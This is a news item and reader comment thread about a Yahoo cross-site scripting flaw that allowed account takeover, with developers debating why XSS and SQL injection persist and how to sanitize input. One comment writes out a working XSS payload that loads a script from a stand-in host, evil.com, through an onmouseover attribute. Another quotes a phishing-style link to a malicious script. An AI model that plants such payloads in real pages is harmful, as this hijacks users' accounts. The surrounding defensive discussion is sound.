Yahoo! XSS Flaw Endangers its Users

Rarely Greys writes "A major Yahoo XSS flaw makes it possible to take over any Yahoo user's account, including their mail, instant messaging, photos, etc. This is not a rare occurrence. So why aren't web sites doing more to protect their users? It's looking like most web developers don't even know or care about XSS."

Comments

Responsible disclosue?

[starwed]

There's no information here about whether Yahoo has been contacted about this (and their response if so.)

Re:Responsible disclosue?

[The Hobo]

It's a lot better for the submitter to link to his own blog post and put a personal, biased opinion on the submission instead of doing what you said. You'd think that editors would strip out such biased garbage from submissions and let, you know, the community make those statements instead of reporting them as news. Then again, it's not like they've ever cared to do that.

Why web developers don't care about XSS

[laffer1]

Could it be that web developers have to create Web 2.0 applications that take all sorts of evil input? How do you make blogs, tags, message boards, and things 100% safe? I wish security researchers would create a proof of concept site that was a REAL web application to show best practices. Sure there are projects like http://www.owasp.org/, but their example code is near useless for most languages they have up.

Think about the input needed for a comment box. You have to deal with i18n issues. UTF-8 or UTF-16 is a very big character set. You can't explicitly block everything and then white list selectively very easily with such a big character set.

Some people think bbcode is the solution for some types of sites. I haven't seen too many implementations of bbcode for languages other than PHP that are open source and reusable.

Can someone point me at resources for Java and .NET development? I don't use PHP very often. Are there any resources for other languages like perl, python and ruby?

I'd personally love to get a library to do safe HTML input while stripping any dangerous tags in Java that is reasonably reusable.

Web developers know not enough about security

[PsyQo]

In my opinion web developers just don't know enough about security.

They know how to store and retrieve data from a database, but they don't know why it's important to escape strings before they go to into a SQL query (or better: use parameterized queries). It happens too often that when you see some page: view.php?id=23 and you change 23 to 23', it returns an error. Although a lot of developers are 'saved' by PHP's magic quotes, it isn't a silver bullet.

Even less web developers seem to know about XSS and how to prevent it.

Web security should get a lot more attention in web developer education, from SQL injection to XSS to salted hashes.

Re:Idiot Consumers?

[Fireflymantis]

more correctly (If I read the overly pink article right), it is the reliance that someone will click on something like this:

----
OMG! Check out this funny search!

"French military victories"
<a href='evilsite.com/haxzoryouryahoo.cgi'>http://sea rch.yahoo.com/search?p=french+military+victories$l t;/a>

HAHAHA! Couldn't stop laughing...
----

I'd care less if it was site developers problem...

[zukinux]

The real problems today are using ActiveX in Internet Explorer.
Believe it or not, most malware,spyware,viruses spread to the user via Internet Explorer ActiveX.

Although users are prompted to click yes or no, the default user will click yes anyway, and that's even a bigger problem.

Re:Ouch..

[Fireflymantis]

Not really, Are you making damn sure, all the time, without fail that if a user changes view.php?id=32 to view.php?id=33 that they are not getting access to content they shouldn't be? What about cookies? Assuming the malicious user can (and will) build cookies of their choosing and content, are you making sure that this cannot somehow be used to hijack another users account? Are you 100% certain, that every time you read get/post/put data that it has been marked as tainted, validated, and only after it has made it through some very harsh sanity checks it is allowed any where /close/ to a DB insert/query? It gets even more muddeled in the world of XmlHttprequests when you have to validate against a plethora of other constraints... I really havn't even begun to list possible attack vectors. Simply checking form data is almost 99% of the time not enough. For a non-trivial web app, even the above is not easy to do unless you pay attention to it every step of development. And even if you do that, you will probabaly miss something.

Here's Why.

[Anonymous Coward]

Well, my take (multiple major webdev projects on the go NOW)...

1. MOVING TARGET

A lot of webdev security issues (DB input, etc.) are moving targets.

For example, take database input. Ten years ago, for many (beginning) developers, escaping quotes and backslashes manually was considered fine. Later developers had database libraries that provided these functions natively. All of a sudden, unicode came along. Suddenly you had to worry about extra characters. This was another step - for example, for developers using MySQL, it was pertinent to change all of your escape functions to a new, unicode-aware one.

With everything else on their plate, even if they're single-language developers, auditing old code to maintain current security best practice falls somewhere at the bottom of the todo list, between 'get some exercise' and 'catch up on sleep'.

2. EXPECTATIONS RISING

As individual leading sites like google's gmail or google earth appear, expectations from clients increase. Web developers have a hard time keeping up with meeting all of the new 'standard features' that are expected, and are often implementing certain aspects for the first time, relying on either poorly audited code (random downloaded scripts) or writing their own with insufficient time for testing and security auditing.

3. NEW OR RAPIDLY ELEVATED ISSUES IN WEB SECURITY

In the last ten years, issues have appeared such as:
  1. Public tools and worms that can easily attack custom-made applications, rendering some older, unmaintained code more readily exploitable. (This is just another time pressure, and security is all about the combination of resources for the attacker and defender... not just technical know-how on either side.)

  2. Cross site scripting... this is quite a complex issue and is not understood by all developers.

  3. A large number of scripting languages, which are constantly being updated and take a lot of time to stay up to date with. For example, most web developers are not really competent with javascript/ecmascript...

  4. Browser or other 'out of web developer control' bugs can make different tags or features dangerous 'at short notice'.

  5. AJAX and web services, which emphasise providing structured, easily-accessible data to the public, make data scraping (ala screen scraping) that much more of a real and widespread threat. As of today, most developers still do not take this threat seriously.

  6. Denial of service attacks.

  7. New expectations of server-side image (or web services data) processing can expose extra code (often legacy tools, or tools in entirely new languages) to potentially hostile input.

4. GENERAL PROGRAMMING ISSUES

Add to the above the standard pressures that lead to security shortfalls:
  - Web developers, like other programmers, are often lumbered with unrealistic delivery timeframes.

  - A lot of webdev is single-developer stuff, not completed in teams. As only one person reads the code, errors are less likely to be spotted.

  - Most webdev projects have no budget for code auditing as close-to-secure code is often merely a desirable part of the overall bundle, not a steadfast client requirement...

  - Webdev people often aren't client facing. In today's highly comepetitive webdev market, client facing salespeople perhaps don't know enough about code security to sell it as a budget-worthy extra.

5. CLIENTS DONT CARE

They want a working site, not a working site with n^m behind-the-scenes feelgood features they have to take at face value and have no way to 'see', 'show the boss' or otherwise justify.

Re:Here's Why.

[Riquez]

Very well put, you should've logged in because you deserve the karma for this more than most.

I particularly empathise with #4.
Unrealistic deadlines: I'm often asked to complete a job that should take 8-10 days in 3. Even then, my 10 day estimate is not including high-level security features. When you explain "if I do it in 3 days, & you want it changed later I'll have to start again from scratch. Plus, it will be minimum security - please understand that the website *may* be raped" THEY say "Bahh, don't confuse the issue, just get it done as quick as possible"

Single Developers: I live in a fairly remote location, there are very few people to share ideas/problems with. I try to be as creative as possible, but in past experience nothing helps more than a good old chat about reg-ex & mod_rewrite over a coffee & sandwich.

Perhaps the smaller business has somewhat of an excuse, but Yahoo! was pretty big last time I checked - if they overlook XSS, what chance do the rest of us have?

SIMPLE SOLUTION

[Anonymous Coward]

There is a very VERY simple solution to this problem. Try to pair sessionID with IP number of accessing PC. It would tighten security. Only if "the attacker" will be using the same gateway he would be able to break into account using your sessionID.
Thus... simple solutions are not seen by experts... sad...
arivaldh(at)wp(coma)pl

Re:SIMPLE SOLUTION

[Crayon Kid]

No need to pick at it, it's obviously idiotic.

To get rid of XSS you need to get rid of the injection agent. Which is HTML. Period. As long as a webmail program insists on rendering HTML, eventually someone finds a new way to piggyback JavaScript on it. No matter how much they try to filter the crap out of JS. JS/ECMAScript/HTML and the browsers' support for them evolve all the time. It's a doomed effort from the start. Witness Gmail, Yahoo mail, Hotmail and so on get hit by XSS time and time again.

Re:Ouch..

[J0nne]

So those suckers that use personal firewalls that block/overwrite the referrer are blocked from using your site? You haven't seen 'Field blocked by Outpost firewall (http://www.agnitum.com)' anywhere in your logs?

Using the referrer logs for anything other than logging/statistics is a stupid thing to do, IMHO.

Re:Sanitizing user imput is the most important par

[Mr_Icon]

I usually go the other way, instead of restricting tags i define a white-list of tags which are useful for formatting reasons such as strong, em, front, etc. this seems to be a much more controllable way.

<strong onmouseover="document.write('<' + 'script s' + 'rc=\"http://evil.com/foo.js\"></script>')">You get the idea</strong>

HTML sanitizing is VERY. HARD. Unless you first run things through tidy, and then manually check all attributes for evil (keeping in mind URL-encoded and unicode-escaped sequences), you WILL FAIL.

You are a lot safer using wiki or REST syntax and converting it to html formatting tags on the back-end. Otherwise you'll be playing a constant game of whack-a-mole.

Are XSS flaws overrated?

[Vexorian]

There is certainly no excuse for web developers not to validate output correctly, but how big of an issue XSS actually is? This one vulnerability requires you to make an user click an odd link, and it took yahoo almost no time to fix it, how many hackers are so good at social engineering that would be able to take advantage of this?

Re:Sanitizing user imput is the most important par

[Slashdot Parent]

i would disallow all attributes by default (forgot to mention).

Makes the <a> tag kind of useless, eh?